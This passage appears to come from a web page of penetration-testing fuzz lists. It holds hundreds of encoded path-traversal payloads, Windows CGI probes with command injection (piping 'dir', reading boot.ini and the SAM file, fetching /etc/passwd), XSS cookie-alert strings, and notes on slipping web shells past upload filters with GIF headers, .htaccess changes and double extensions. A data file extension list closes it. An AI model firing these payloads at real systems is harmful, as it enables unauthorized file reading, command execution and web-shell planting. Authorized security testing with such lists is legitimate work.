..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> 